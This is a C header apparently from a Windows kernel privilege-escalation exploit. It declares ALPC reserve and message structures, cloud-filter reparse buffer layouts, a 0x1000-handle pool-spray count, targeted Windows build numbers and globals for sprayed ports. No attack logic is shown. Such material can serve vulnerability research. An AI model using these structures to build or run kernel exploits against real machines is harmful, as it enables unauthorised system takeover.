#pragma once

/*
    Definitions (main.h)
*/

#define MAX_MSG_LEN 0x500
#define ALPC_MSGFLG_NONE 0x0
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004L)
#define WINDOWS_BUILD_19H1 18362
#define WINDOWS_BUILD_19H2 18363
#define SPRAY_COUNT 0x1000
#define REPARSE_BUFFER_MAGIC_VALUE 'pReF'
#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB'
#define TARGET_PATH L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\SYNC_ROOT"
#define TARGET_DIR L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\"


/*
    Structs
*/

typedef enum _KALPC_BLOB_TYPE {
    AlpcMessageType = 0x200,
    AlpcReserveType = 0x700
}
KALPC_BLOB_TYPE;

typedef struct _PORT_MESSAGE {
    union {
        struct {
            USHORT DataLength;
            USHORT TotalLength;
        }
        s1;
        ULONG Length;
    }
    u1;
    union {
        struct {
            USHORT Type;
            USHORT DataInfoOffset;
        }
        s2;
        ULONG ZeroInit;
    }
    u2;
    union {
        CLIENT_ID ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
}
PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _KALPC_BLOB {
    ULONGLONG Type;
    LONGLONG Ref;
    ULONGLONG Reserved1;
    ULONGLONG Reserved2;
    CHAR Data[];
}
KALPC_BLOB, * PKALPC_BLOB;

typedef struct _KALPC_MESSAGE {
    struct _LIST_ENTRY Entry;
    struct _ALPC_PORT* PortQueue;
    struct _ALPC_PORT* OwnerPort;
    struct _ETHREAD* WaitingThread;
    union {
        struct {
            ULONG QueueType : 3;
            ULONG QueuePortType : 4;
            ULONG Canceled : 1;
            ULONG Ready : 1;
            ULONG ReleaseMessage : 1;
            ULONG SharedQuota : 1;
            ULONG ReplyWaitReply : 1;
            ULONG OwnerPortReference : 1;
            ULONG ReceiverReference : 1;
            ULONG ViewAttributeRetrieved : 1;
            ULONG ViewAttributeDeleteOnRelease : 1;
            ULONG InDispatch : 1;
            ULONG InCanceledQueue : 1;
        }
        s1;
        ULONG State;
    }
    u1;
    LONG SequenceNo;
    union {
        struct _EPROCESS* QuotaProcess;
        VOID* QuotaBlock;
    };
    struct _ALPC_PORT* CancelSequencePort;
    struct _ALPC_PORT* CancelQueuePort;
    LONG CancelSequenceNo;
    struct _LIST_ENTRY CancelListEntry;
    struct _KALPC_RESERVE* Reserve;
    BYTE MessageAttributesStub[0x48];
    VOID* DataUserVa;
    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;
    struct _ALPC_PORT* ConnectionPort;
    struct _ETHREAD* ServerThread;
    VOID* WakeReference;
    VOID* WakeReference2;
    VOID* ExtensionBuffer;
    ULONGLONG ExtensionBufferSize;
    struct _PORT_MESSAGE PortMessage;
}
KALPC_MESSAGE, * PKALPC_MESSAGE;

typedef struct _KALPC_RESERVE {
    struct _ALPC_PORT* OwnerPort;
    struct _ALPC_HANDLE_TABLE* HandleTable;
    VOID* Handle;
    struct _KALPC_MESSAGE* Message;
    ULONGLONG Size;
    LONG Active;
}
KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _ALPC_PORT_ATTRIBUTES {
    unsigned long Flags;
    SECURITY_QUALITY_OF_SERVICE SecurityQos;
    unsigned __int64 MaxMessageLength;
    unsigned __int64 MemoryBandwidth;
    unsigned __int64 MaxPoolUsage;
    unsigned __int64 MaxSectionSize;
    unsigned __int64 MaxViewSize;
    unsigned __int64 MaxTotalSectionSize;
    ULONG DupObjectTypes;
#ifdef _WIN64
    ULONG Reserved;
#endif
}
ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

typedef struct _REPARSE_DATA_BUFFER {
    ULONG ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            ULONG Flags;
            WCHAR PathBuffer[1];
        }
        SymbolicLinkReparseBuffer;
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR PathBuffer[1];
        }
        MountPointReparseBuffer;
        struct {
            UCHAR DataBuffer[1];
        }
        GenericReparseBuffer;
    }
    DUMMYUNIONNAME;
}
REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct {
    WORD Tag;
    WORD Size;
    DWORD Offset;
}
REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM;

typedef struct {
    DWORD Magic;
    DWORD Crc32;
    DWORD Size;
    WORD Reserved;
    WORD NumItems;
    REPRASE_CLD_ITEM Items[];
}
REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER;

/*
    Globals
*/

UINT g_portCount = SPRAY_COUNT;
PHANDLE g_ports;
PKALPC_RESERVE g_reserve;
PKALPC_MESSAGE g_message;
